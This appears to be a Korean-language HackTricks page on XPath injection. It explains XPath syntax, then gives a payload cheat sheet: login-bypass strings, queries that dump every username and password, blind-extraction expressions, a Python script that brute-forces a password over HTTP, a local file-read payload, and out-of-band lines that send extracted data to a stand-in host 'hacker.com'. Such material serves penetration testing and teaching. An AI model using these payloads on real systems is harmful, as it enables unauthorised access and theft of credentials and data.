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# XPATH injection
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{% hint style="success" %}
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< details >
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< / details >
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{% endhint %}
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< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
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## Basic Syntax
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XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath(XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션의 취약점을 이용하는 데 사용됩니다.
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### Nodes Described
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표현식은 XML 문서에서 다양한 노드를 선택하는 데 사용됩니다. 이러한 표현식과 그 설명은 아래에 요약되어 있습니다:
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* **nodename**: "nodename"이라는 이름을 가진 모든 노드가 선택됩니다.
* **/**: 루트 노드에서 선택이 이루어집니다.
* **//**: 현재 노드에서 선택과 일치하는 노드가 문서 내 위치에 관계없이 선택됩니다.
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* **.**: 현재 노드가 선택됩니다.
* **..**: 현재 노드의 부모가 선택됩니다.
* **@**: 속성이 선택됩니다.
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### XPath Examples
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경로 표현식과 그 결과의 예는 다음과 같습니다:
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* **bookstore**: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
* **/bookstore**: 루트 요소 bookstore가 선택됩니다. 요소에 대한 절대 경로는 슬래시(/)로 시작하는 경로로 표현됩니다.
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* **bookstore/book**: bookstore의 자식인 모든 book 요소가 선택됩니다.
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* **//book**: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
* **bookstore//book**: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
* **//@lang**: lang이라는 이름을 가진 모든 속성이 선택됩니다.
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### Utilization of Predicates
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프레디케이트는 선택을 세분화하는 데 사용됩니다:
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* **/bookstore/book\[1]**: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 \[0]으로 인덱싱하는 문제를 해결하기 위해 JavaScript를 통해 SelectionLanguage를 XPath로 설정합니다.
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* **/bookstore/book\[last()]**: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
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* **/bookstore/book\[last()-1]**: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
* **/bookstore/book\[position()< 3 ]** : bookstore 요소의 첫 두 book 요소 자식이 선택됩니다 .
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* **//title\[@lang ]**: lang 속성이 있는 모든 title 요소가 선택됩니다.
* **//title\[@lang ='en']**: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
* **/bookstore/book\[price>35.00]**: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
* **/bookstore/book\[price>35.00]/title**: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.
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### Handling of Unknown Nodes
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와일드카드는 알려지지 않은 노드를 일치시키는 데 사용됩니다:
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* **\***: 모든 요소 노드와 일치합니다.
* **@**\*: 모든 속성 노드와 일치합니다.
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* **node()**: 모든 종류의 노드와 일치합니다.
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추가 예는 다음과 같습니다:
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* **/bookstore/\***: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
* **//\***: 문서 내 모든 요소가 선택됩니다.
* **//title\[@\*]**: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.
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## Example
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
< data >
< user >
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< name > pepe< / name >
< password > peponcio< / password >
< account > admin< / account >
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< / user >
< user >
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< name > mark< / name >
< password > m12345< / password >
< account > regular< / account >
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< / user >
< user >
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< name > fino< / name >
< password > fino2< / password >
< account > regular< / account >
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< / user >
< / data >
```
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### 정보에 접근하기
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```
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All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3 *3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
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### 스키마 식별 및 탈취
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```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count (root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count (a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count (b) = 0
and count(/*[1]/*[2]/*) = 3 #count (c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count (d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count (e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count (f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count (g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
< root >
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< a >
< b > < / b >
< / a >
< c >
< d > < / d >
< e > < / e >
< f >
< h > < / h >
< / f >
< / c >
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< / root >
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>` is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
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## 인증 우회
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### **쿼리 예시:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
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### **사용자와 비밀번호에서 OR 우회 (두 값이 동일함)**
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
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### **널 주입 악용**
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```
Username: ' or 1]%00
```
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### **사용자 이름 또는 비밀번호에서의 이중 OR** (취약한 필드가 하나만 있어도 유효함)
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중요: ** "and"가 첫 번째로 수행되는 연산임**을 주의하세요.
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```
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Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))< 10 or ' #Select account with length ( name )< 10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
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## 문자열 추출
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출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:
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```
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/user/username[contains(., '+VALUE+')]
```
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```
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') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
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## 블라인드 익스플로이테이션
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### **값의 길이를 가져오고 비교를 통해 추출하기:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **파이썬 예제**
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```python
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import requests, string
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flag = ""
l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
r = requests.get("http://example.com?action=user& userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print ("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user& userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
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```
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### 파일 읽기
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```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
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## OOB 익스플로잇
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```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
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### 자동 도구
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* [xcat ](https://xcat.readthedocs.io/ )
* [xxxpwn ](https://github.com/feakk/xxxpwn )
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* [xxxpwn\_smart ](https://github.com/aayla-secura/xxxpwn\_smart )
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* [xpath-blind-explorer ](https://github.com/micsoftvn/xpath-blind-explorer )
* [XmlChor ](https://github.com/Harshal35/XMLCHOR )
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## 참고자료
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection )
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* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010) ](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\ ))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp ](https://www.w3schools.com/xml/xpath\_syntax.asp )
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< figure > < img src = "../.gitbook/assets/image (380).png" alt = "" > < figcaption > < / figcaption > < / figure >
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경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) 서버에 참여하세요!
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**해킹 통찰력**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
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**실시간 해킹 뉴스**\
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실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
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**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
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**지금** [**Discord** ](https://discord.com/invite/N3FrSbmwdy )에 참여하고 최고의 해커들과 협업을 시작하세요!
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{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP 해킹 배우기 및 연습하기: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
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< details >
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< summary > HackTricks 지원하기< / summary >
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* [**구독 계획** ](https://github.com/sponsors/carlospolop ) 확인하기!
* 💬 [**Discord 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**를 팔로우하세요.**
* [**HackTricks** ](https://github.com/carlospolop/hacktricks ) 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
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< / details >
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{% endhint %}